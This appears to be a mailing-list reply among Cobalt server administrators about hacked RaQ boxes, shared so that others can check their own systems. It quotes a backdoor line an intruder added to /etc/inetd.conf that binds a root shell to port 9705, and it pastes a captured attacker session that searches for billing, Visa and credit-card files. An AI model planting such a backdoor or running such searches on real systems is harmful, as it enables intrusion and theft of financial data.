RE: [cobalt-users] another cobalt hacked... looking for things to check.

["Tony" <isplists@xxxxxxxxxxxx>]

+add me to the hacked box list.
+
+they added this line to my /etc/inetd.conf
+
+9705 stream tcp nowait root /bin/sh sh -i
+
+telnet localhost 9705 droped me straight into a r00tshell.
+
+i wonder what else they managed to do,
+hopefully it was just a 'skr1pt k1ddie' who has no idea why he hacked the
+box in the first place.

Mostly idiots. They're hitting Raq4's too:

s
ls *
locate bill
locate visa
locate credit
cd /home/chiliasp/odbc/internaldb/data/base/perros
ls
cd /usr/share/.vaio
cat cr*
exit